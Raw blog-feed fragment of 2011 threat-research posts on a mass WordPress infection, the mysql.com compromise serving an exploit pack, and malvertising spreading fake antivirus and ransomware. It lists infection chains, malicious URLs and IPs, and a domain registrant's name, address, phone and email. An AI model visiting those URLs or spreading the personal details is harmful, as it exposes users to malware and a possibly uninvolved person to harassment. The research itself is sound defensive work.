/&gt;&lt;b&gt;2011-10-03 15:00 UTC&lt;/b&gt; 30 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-03 19:00 UTC&lt;/b&gt; 31 / 43, nProtect&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-03 23:00 UTC&lt;/b&gt; 31 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-04 03:00 UTC&lt;/b&gt; 31 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-04 07:00 UTC&lt;/b&gt; 31/ 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-04 11:00 UTC&lt;/b&gt; 31 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-04 15:00 UTC&lt;/b&gt; 31 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-04 19:00 UTC&lt;/b&gt; 31 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-04 23:00 UTC&lt;/b&gt; 31 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-05 03:00 UTC&lt;/b&gt; 31 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-05 07:00 UTC&lt;/b&gt; 31 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-05 11:00 UTC&lt;/b&gt; 32 / 43, eTrust-Vet&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-05 15:00 UTC&lt;/b&gt; 32 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-05 19:00 UTC&lt;/b&gt; 32 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-05 23:00 UTC&lt;/b&gt; 32 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-06 03:00 UTC&lt;/b&gt; 32 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-06 07:00 UTC&lt;/b&gt; 32 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-06 11:00 UTC&lt;/b&gt; 33 / 43, Fortinet&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-06 15:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-06 19:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-06 23:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-07 03:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-07 07:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-07 11:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-07 15:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-07 19:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-07 23:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-08 03:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-08 07:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-08 11:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-08 15:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-08 19:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-08 23:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-09 03:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-09 07:00 UTC&lt;/b&gt; 33 / 43, &lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-09 11:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-09 15:00 UTC&lt;/b&gt; 33 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-09 19:00 UTC&lt;/b&gt; 34 / 43, JIangmin&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-09 23:00 UTC&lt;/b&gt; 34 / 43,&lt;br /&gt;&lt;br /&gt;Still undetecting: ByteHero, ClamAV, Commtouch, eSafe, F-Prot, Prevx, Rising, VBA32, ViRobot&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-1325415692870318526?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/1325415692870318526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/10/malvertising-lifecycle-case-study-openx.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/1325415692870318526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/1325415692870318526'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/10/malvertising-lifecycle-case-study-openx.html' title='Malvertising lifecycle case study 1--OpenX compromise on speedtest.net, spreading Security Sphere 2012 fake antivirus'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-kftdeXePYT0/TpJ7MGssbmI/AAAAAAAACf0/LGU0mbDmNG0/s72-c/malvertising%2Bspeedtest%2Bnet%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2B1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-6893876447181908808</id><published>2011-10-09T05:43:00.000-07:00</published><updated>2011-10-09T06:20:30.113-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HackAlert'/><category scheme='http://www.blogger.com/atom/ns#' term='Mass Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><category scheme='http://www.blogger.com/atom/ns#' term='WordPress'/><title type='text'>Mass WordPress infection ongoing--most malicious domains using changeip.com</title><content type='html'>(credits: Wayne Huang, Chris Hsiao, NightCola Lin)&lt;br /&gt;(&lt;br /&gt;To peer researchers: As we all know, researching security incidents take a lot of time and sacrifice; as if they know exactly how to make our lives harder, attackers often launch right before the weekend or a long vacation. In such an event, we often need to sacrifice our personal plans to be with our families, in order to research and publish threats fast enough.&lt;br /&gt;&lt;br /&gt;In the past, usually right after we publish our blog and tweet the link, some other security blogs will very quickly put out a post regarding the same incident. Usually there will be a link to our original post, and we appreciate this very much.&lt;br /&gt;&lt;br /&gt;However, recently, for some of our posts, we feel our contents were plainly copied and there was no credit linking to us. We sincerely hope this won't happen.&lt;br /&gt;&lt;br /&gt;Together as a security community, we have a common goal--to make the Internet a safer place for everyone. It's an honor to be a part of this community, and we have a lot of respect for everyone involved. We just don't like the feeling of being taken advantage of. Thanks very much everyone!&lt;br /&gt;)&lt;br /&gt;&lt;br /&gt;We've been tracking an ongoing mass WordPress infection that began to take place around Oct 5th, as detected by our &lt;a href="http://armorize.com/?link_id=hackalert"&gt;HackAlert Website monitoring service&lt;/a&gt;. Many Wordpress sites have been hit. Using technologyadvances.net as an example, we've created a video showing how an affected WordPress site can infect its visitors.&lt;br /&gt;&lt;iframe height="468" width="750" src="http://www.youtube.com/embed/dvtsAsaqhxg" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[Summary]&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1. Location of injected script:&lt;/b&gt; in the index page of the compromised website.&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;b&gt;2. Means of compromise:&lt;/b&gt; we believe via a combination of a) stolen WordPress passwords b) backdoors into previously compromised WordPress websites and c) Automated script-injection tools that work in combination of either (a) or (b).&lt;br /&gt;&lt;b&gt;3. Injected script:&lt;/b&gt; In the [Details] section we've included an example of an injected script. There are more than 20 variations.&lt;br /&gt;&lt;b&gt;4. Script packer used: &lt;/b&gt;&lt;a href="http://dean.edwards.name/packer/"&gt;Dean Edwards' packer&lt;/a&gt;.&lt;br /&gt;&lt;b&gt;5. Malware: &lt;/b&gt;Multiple malware will be installed (dropped) onto the visitors machines without the users' knowledge. Antivirus detection rate is around &lt;a href="http://www.virustotal.com/file-scan/report.html?id=f67ef63dbf05eb59e0d91fb95698613294987ea2332a9f0c17d299e601c84cef-1318072030"&gt;5 out of 43&lt;/a&gt; vendors on VirusTotal at the time of this writing.&lt;br /&gt;&lt;b&gt;6. Infected websites:&lt;/b&gt; A lot of WordPress websites have been hit, a sample list is as follows:&lt;br /&gt;&lt;br /&gt;http://technologyadvances.net/&lt;br /&gt;http://dacwada.com/&lt;br /&gt;http://gadgetgad.com/&lt;br /&gt;http://atozdogbreed.com/&lt;br /&gt;http://goaonwheels.com/&lt;br /&gt;http://uprofitpro.com/&lt;br /&gt;http://fitnorama.com/&lt;br /&gt;http://wpsupportdesk.com/&lt;br /&gt;http://positivelypowerful.com/&lt;br /&gt;http://mybravetruehero.com/&lt;br /&gt;http://heavingdeadcats.com/&lt;br /&gt;http://wpsupportdesk.com/&lt;br /&gt;http://pakprwire.com/&lt;br /&gt;http://browndoggadgets.com/&lt;br /&gt;http://ozfoodtrainer.com/&lt;br /&gt;http://batangyagit.com/&lt;br /&gt;http://bellamediterranean.com/&lt;br /&gt;http://michaelbang.com/&lt;br /&gt;http://kharlota.com/&lt;br /&gt;http://prendilo.com/&lt;br /&gt;http://bilgizah.com/&lt;br /&gt;http://rapidshareleaks.com/&lt;br /&gt;http://girlsonandroid.com/&lt;br /&gt;http://keyhousemedia.com/&lt;br /&gt;http://ryan-key.com/&lt;br /&gt;http://theme-wordpress.com/&lt;br /&gt;http://bx-design.com/&lt;br /&gt;http://the396.com/&lt;br /&gt;http://riverstreetsavannah.com/&lt;br /&gt;http://jardin-jms.com/&lt;br /&gt;http://civitanews.it/&lt;br /&gt;http://capture-the-light.de/&lt;br /&gt;http://spio.it/&lt;br /&gt;http://smfbd.org/&lt;br /&gt;http://utopianwebstrategy.com.au/&lt;br /&gt;http://techmoes.com/&lt;br /&gt;http://24print.lv/&lt;br /&gt;http://vancsa.com/&lt;br /&gt;http://hsncweb.org/&lt;br /&gt;http://anyabarat.hu/&lt;br /&gt;http://creativevisions.org/&lt;br /&gt;http://znews24.com/&lt;br /&gt;http://insidegames.ch/&lt;br /&gt;http://pujckainfo.cz/&lt;br /&gt;http://hdmovies.ro/&lt;br /&gt;http://facilefinanza.it/&lt;br /&gt;http://eflomi.de/&lt;br /&gt;http://lavorareonline.org/&lt;br /&gt;http://shamanicseduction.net/&lt;br /&gt;http://zhutoo.com/&lt;br /&gt;http://fvrc.ru/&lt;br /&gt;http://amazingresorts.co.uk/&lt;br /&gt;http://fotoskaufen.de/&lt;br /&gt;http://vus.de/&lt;br /&gt;http://pohodaveskole.net/&lt;br /&gt;http://geekyfaust.info/&lt;br /&gt;http://tblt.de/&lt;br /&gt;http://internetbusinessuniversity.net/&lt;br /&gt;http://www.paypal-deals.nl/&lt;br /&gt;http://athletics.midsouthcc.edu/&lt;br /&gt;http://blog.asolorep.org/&lt;br /&gt;http://www.nc-council.org/&lt;br /&gt;http://www.paypal-nederland.nl/&lt;br /&gt;http://www.paypal-promo.nl/&lt;br /&gt;http://www.paypal-deals.nl/&lt;br /&gt;http://www.midsouthcc.edu/finaid/&lt;br /&gt;http://www.steinway-gallery.com.sg/&lt;br /&gt;&lt;br /&gt;&lt;b&gt;7. Malicous domains:&lt;/b&gt; This time, instead of owning the malicious domains themselves, the attackers are using mostly the dynamic DNS service provided by changeip.com. A sample list is as follows:&lt;br /&gt;&lt;br /&gt;http://qwqe.dnset.com/showthread.php?t=72241732&lt;br /&gt;http://fadfgsa.toh.info/showthread.php?t=72241732&lt;br /&gt;http://fdfsd.ftp1.biz/showthread.php?t=72241732&lt;br /&gt;http://gsdgs.ftp1.biz/showthread.php?t=72241732&lt;br /&gt;http://fdsfad.4dq.com/showthread.php?t=72241732&lt;br /&gt;http://qwqewqr.ce.ms/showthread.php?t=72241732&lt;br /&gt;http://vxzdbgvsx.ce.ms/showthread.php?t=72241732&lt;br /&gt;http://vgfsgfd.ns02.us/showthread.php?t=72241732&lt;br /&gt;http://fdsfgs.qpoe.com/showthread.php?t=72241732&lt;br /&gt;http://fdafdas.jkub.com/showthread.php?t=72241732&lt;br /&gt;http://vfsgdf.ce.ms/showthread.php?t=72241732&lt;br /&gt;http://fdafad.ce.ms/showthread.php?t=72241732&lt;br /&gt;http://fdafdas.ce.ms/showthread.php?t=72241732&lt;br /&gt;http://fdasfad.ce.ms/showthread.php?t=72241732&lt;br /&gt;http://vfsgdf.ce.ms/showthread.php?t=72241732&lt;br /&gt;http://ghdhgdf.gr8name.biz/showthread.php?t=72241732&lt;br /&gt;http://fadsvzx.3-a.net/showthread.php?t=72241732&lt;br /&gt;http://fdhd.2waky.com/showthread.php?t=72241732&lt;br /&gt;http://gsdgs.ddns.info/showthread.php?t=72241732&lt;br /&gt;http://fdafad.dns04.com/showthread.php?t=72241732&lt;br /&gt;http://fadfda.epac.to/showthread.php?t=72241732&lt;br /&gt;http://ghdhgdf.gr8name.biz/showthread.php?t=72241732&lt;br /&gt;http://fadfa.isasecret.com/showthread.php?t=72241732&lt;br /&gt;http://fdafda.itemdb.com/showthread.php?t=72241732&lt;br /&gt;http://fzxvz.ninth.biz/showthread.php?t=72241732&lt;br /&gt;http://gsfgs.dns-stuff.com/showthread.php?t=72241732&lt;br /&gt;http://fdafd.dns-dns.com/showthread.php?t=72241732&lt;br /&gt;http://fdafda.dynssl.com/showthread.php?t=72291731&lt;br /&gt;http://wqwwer.ce.ms/showthread.php?t=72291731&lt;br /&gt;http://vandamm.345.pl/iframe.php?id=2b8325qvzjut0iv8b87u9nlxnan0kpc&lt;br /&gt;&lt;br /&gt;&lt;b&gt;8. Malicous domains:&lt;/b&gt; Although all of the above domains were resolving through changeip.com, there are only a few IPs used so far, including the following:&lt;br /&gt;&lt;br /&gt;1. 95.163.66.209 (Primary IP, AS12695, Russian Federation Moscow Digital Networks Cjsc)&lt;br /&gt;2. 64.131.75.19 (AS25847, United States New York Smv)&lt;br /&gt;3. 182.18.185.82 (AS18229, India Hyderabad IP Pool For Znet)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;9. Exploit pack: *NOT* BlackHole, still analyzing&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;10. Is your WordPress infected?&lt;/b&gt; A very simple way is to check for the existence of the following text: a) showthread b) 72241732 c) 72291731 and if these exist, have a closer look. You can also use the &lt;a href="http://armorize.com/?link_id=hackalert"&gt;HackAlert Website monitoring service&lt;/a&gt; to have your site monitored 24x7.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[Details]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The injection has a simple chain:&lt;br /&gt;&lt;br /&gt;1. Index page of a WordPress site is injected with script packed by Dean Edwards' packer&lt;br /&gt;2. Javascript generates iframe to a malicious domain registered with changeip.com&lt;br /&gt;3. Browser loads the exploit pack from the malicious domain, hosting on a few fixed IPs including 95.163.66.209 (Russia), 64.131.75.19 (USA), and 182.18.185.82 (India).&lt;br /&gt;&lt;br /&gt;Below is an example of an injected script:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-nmCKfs4psxc/TpGUl6Pf5uI/AAAAAAAACfk/SF4xCDU1KaA/s1600/wordpress%2Bmass%2Binfection%2Bchangeip%2Bcom%2B1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-nmCKfs4psxc/TpGUl6Pf5uI/AAAAAAAACfk/SF4xCDU1KaA/s1600/wordpress%2Bmass%2Binfection%2Bchangeip%2Bcom%2B1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Depending on the browsing platform used, several malicious binaries are dropped upon successful exploitation. At the time of this writing, the antivirus detection rate is &lt;a href="http://www.virustotal.com/file-scan/report.html?id=f67ef63dbf05eb59e0d91fb95698613294987ea2332a9f0c17d299e601c84cef-1318072030"&gt;5 out of 43&lt;/a&gt; vendors on VirusTotal:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-6BcbZmvcs34/TpGV-GsYDZI/AAAAAAAACfs/fb5AwGm55vs/s1600/wordpress%2Bmass%2Binfection%2Bchangeip%2Bcom%2B2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-6BcbZmvcs34/TpGV-GsYDZI/AAAAAAAACfs/fb5AwGm55vs/s1600/wordpress%2Bmass%2Binfection%2Bchangeip%2Bcom%2B2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-6893876447181908808?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/6893876447181908808/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/10/mass-wordpress-infection-ongoing-most.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/6893876447181908808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/6893876447181908808'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/10/mass-wordpress-infection-ongoing-most.html' title='Mass WordPress infection ongoing--most malicious domains using changeip.com'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/dvtsAsaqhxg/default.jpg' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-7407819020011413784</id><published>2011-09-26T08:17:00.000-07:00</published><updated>2011-09-26T13:21:59.636-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>mysql.com hacked, infecting visitors with malware</title><content type='html'>(Credit: Wayne Huang, Chris Hsiao, NightCola Lin)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-pSp6QZK2OSI/ToCLKoaVP8I/AAAAAAAACfM/LBp8qIgEKjk/s1600/mysql%2Bhacked%2Bserving%2Bmalware%2B1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-pSp6QZK2OSI/ToCLKoaVP8I/AAAAAAAACfM/LBp8qIgEKjk/s1600/mysql%2Bhacked%2Bserving%2Bmalware%2B1.png" /&gt;&lt;/a&gt;&lt;/div&gt;Our &lt;a href="https://hackalert.armorize.com/"&gt;HackAlert&lt;/a&gt; 24x7 Website malware monitoring platform today indicated that mysql.com has been hacked and is currently serving malware. The highlighted section of the above screenshot is the injected script. Below is a video showing how visitors are infected when navigating to the site:&lt;br /&gt;&lt;iframe height="468" width="750" src="http://www.youtube.com/embed/J7prODlHniU?hl=zh&amp;fs=1" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;b&gt;[Infection Chain]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 1: http://www.mysql.com&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Causes the visiting browser to load the following:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 2: http://mysql.com/common/js/s_code_remote.js?ver=20091011 &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;This is the injection point. The entire content of the above .js file can be found &lt;a href="http://snipt.net/armorize/mysqlcom-injection-point/?key=3a3468c8a3fb7d694a138351c94a5606"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The injected section is shown in the above screenshot. The decoded version is as follows:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-WSOXkhEDLQU/ToCO-q6jLkI/AAAAAAAACfU/abyQ5I7fqus/s1600/mysql%2Bhacked%2Bserving%2Bmalware%2B2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-WSOXkhEDLQU/ToCO-q6jLkI/AAAAAAAACfU/abyQ5I7fqus/s1600/mysql%2Bhacked%2Bserving%2Bmalware%2B2.png" /&gt;&lt;/a&gt;&lt;/div&gt;The text version is &lt;a href="http://snipt.net/armorize/mysqlcom-hacked-decoded-script?key=ccdc45dc01468ec2f80fcdfa256910c7"&gt;available here&lt;/a&gt;. This script generates an iframe to Step 3.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 3: http://falosfax.in/info/in.cgi?5&amp;ab_iframe=1&amp;ab_badtraffic=1&amp;antibot_hash=1255098964&amp;ur=1&amp;HTTP_REFERER=http://mysql.com/&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Throws out a 302 redirect to Step 4.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 4: http://truruhfhqnviaosdpruejeslsuy.cx.cc/main.php&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;This domain hosts the BlackHole exploit pack. It exploits the visitor's browsing platform (the browser, the browser plugins like Adobe Flash, Adobe PDF, etc, Java, ...), and upon successful exploitation, permanently installs a piece of malware into the visitor's machine, without the visitor's knowledge. The visitor doesn't need to click or agree to anything; simply visiting mysql.com with a vulnerable browsing platform will result in an infection.&lt;br /&gt;&lt;br /&gt;Currently, &lt;a href="http://www.virustotal.com/file-scan/report.html?id=d761babcb55d21b467dd698169c921995bf58eac5e9912596693fee52c8690a1-1317040603"&gt;4 out of 44 vendors on VirusTotal&lt;/a&gt; can detect this piece of malware.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-kOfEUMVZVuA/ToCSE1ZxBsI/AAAAAAAACfc/Lees-LL90fE/s1600/mysql%2Bhacked%2Bserving%2Bmalware%2B3.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-kOfEUMVZVuA/ToCSE1ZxBsI/AAAAAAAACfc/Lees-LL90fE/s1600/mysql%2Bhacked%2Bserving%2Bmalware%2B3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;[The Attacker]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;We don't know much at this point. The following are information regarding the associated malicious domains.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;falosfax.in (Step 3)&lt;/b&gt;&lt;br /&gt;Address:  212.95.63.201&lt;br /&gt;Location:  Germany / Berlin&lt;br /&gt;Created On:20-Jun-2011 13:17:05 UTC&lt;br /&gt;Sponsoring Registrar:Transecute Solutions Pvt. Ltd. (R120-AFIN)&lt;br /&gt;Registrant Name:CHRISTOPHER J KLEIN&lt;br /&gt;Registrant Street1:7880 SW 132 STREET&lt;br /&gt;Registrant City:MIAMI&lt;br /&gt;Registrant State/Province:Florida&lt;br /&gt;Registrant Postal Code:33156&lt;br /&gt;Registrant Country:US&lt;br /&gt;Registrant Phone:+1.3053771635&lt;br /&gt;Registrant Email:cjklein54@yahoo.com&lt;br /&gt;Admin ID:TS_14483505&lt;br /&gt;Admin Name:CHRISTOPHER J KLEIN&lt;br /&gt;Admin Organization:N/A&lt;br /&gt;Admin Street1:7880 SW 132 STREET&lt;br /&gt;Admin Street2:&lt;br /&gt;Admin Street3:&lt;br /&gt;Admin City:MIAMI&lt;br /&gt;Admin State/Province:Florida&lt;br /&gt;Admin Postal Code:33156&lt;br /&gt;Admin Country:US&lt;br /&gt;Admin Phone:+1.3053771635&lt;br /&gt;Admin Phone Ext.:&lt;br /&gt;Admin FAX:&lt;br /&gt;Admin FAX Ext.:&lt;br /&gt;Admin Email:cjklein54@yahoo.com&lt;br /&gt;Tech Email:cjklein54@yahoo.com&lt;br /&gt;Name Server:NS1.SKYNS1.NET&lt;br /&gt;Name Server:NS2.SKYNS1.NET&lt;br /&gt;&lt;br /&gt;&lt;b&gt;truruhfhqnviaosdpruejeslsuy.cx.cc (Step 4)&lt;/b&gt;&lt;br /&gt;Address:  46.16.233.108&lt;br /&gt;Location:  Sweden / Stockholm&lt;br /&gt;&lt;br /&gt;The mysql.com website is as of now, still serving this exploit and malware.&lt;br /&gt;&lt;br /&gt;We're in the process of contacting mysql.com. If anyone have contacts to them, please drop us an email at wayne@armorize.com&lt;br /&gt;&lt;br /&gt;PS: Armorize is hiring presales in the bay area: &lt;a href="http://www.linkedin.com/jobs/post?displayJobStatus=&amp;amp;jobId=1910971&amp;amp;split_page=1"&gt;http://www.linkedin.com/jobs/post?displayJobStatus=&amp;amp;jobId=1910971&amp;amp;split_page=1&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-7407819020011413784?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/7407819020011413784/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/09/mysqlcom-hacked-infecting-visitors-with.html#comment-form' title='49 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/7407819020011413784'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/7407819020011413784'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/09/mysqlcom-hacked-infecting-visitors-with.html' title='mysql.com hacked, infecting visitors with malware'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-pSp6QZK2OSI/ToCLKoaVP8I/AAAAAAAACfM/LBp8qIgEKjk/s72-c/mysql%2Bhacked%2Bserving%2Bmalware%2B1.png' height='72' width='72'/><thr:total>49</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-1976421563973665737</id><published>2011-08-31T12:25:00.000-07:00</published><updated>2011-12-05T00:05:58.884-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malvertising'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download ransomware'/><title type='text'>Malvertising on Yahoo YieldManager, spreading ransomeware acting as Federal German Police (BKA)--Help solve the puzzle!</title><content type='html'>Help us solve the puzzle!&lt;br /&gt;(credits: Wayne Huang, Chris Hsiao, NightCola Lin)&lt;br /&gt;&lt;br /&gt;Over the past few days, our HackAlert scanning farm has constantly detected malvertising on Yahoo YieldManager (RightMedia). Since YieldManager is one of the world's largest ad networks, websites worldwide, big and small, have all been hit. Fortunately, the exploit server is only serving the malware to German visitors.&lt;br /&gt;&lt;br /&gt;In our following video, we demonstrated how &lt;a href="http://www.zidu.com/"&gt;Ziddu&lt;/a&gt; was thus infected to serve this German ransomware to its visitors. &lt;a href="http://www.checksitetraffic.com/traffic_spy/ziddu.com"&gt;According to CheckSiteTraffic.com&lt;/a&gt;, &lt;b&gt;Ziddu enjoys 1,492,133 page views and 364,825 unique visitors per day&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;The malware pretends to be a crime-detection software from the Federal German Police. It claims to have found child pornography along with other illegal content on the victim's computer. It claims that the victim's IP, OS, location, ISP, etc, have all been recorded, and locks down the computer completely, "to prevent further abuse."&lt;br /&gt;&lt;br /&gt;A fine of 100 Euros must be paid within 24 hours to unlock the computer, or else all data will be deleted. We are in the process of informing all parties involved. This is our report.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-qyWHGQxwkPc/Tl0dNR-1g1I/AAAAAAAACdg/wsYFRVfM3NQ/s1600/malvertising%2Byieldmanager%2Bziddu%2Bwebsite.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://2.bp.blogspot.com/-qyWHGQxwkPc/Tl0dNR-1g1I/AAAAAAAACdg/wsYFRVfM3NQ/s1600/malvertising%2Byieldmanager%2Bziddu%2Bwebsite.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;center&gt;(Above: ziddu.com hit by malvertising on Yahoo YieldManager (RightMedia)&lt;/center&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a 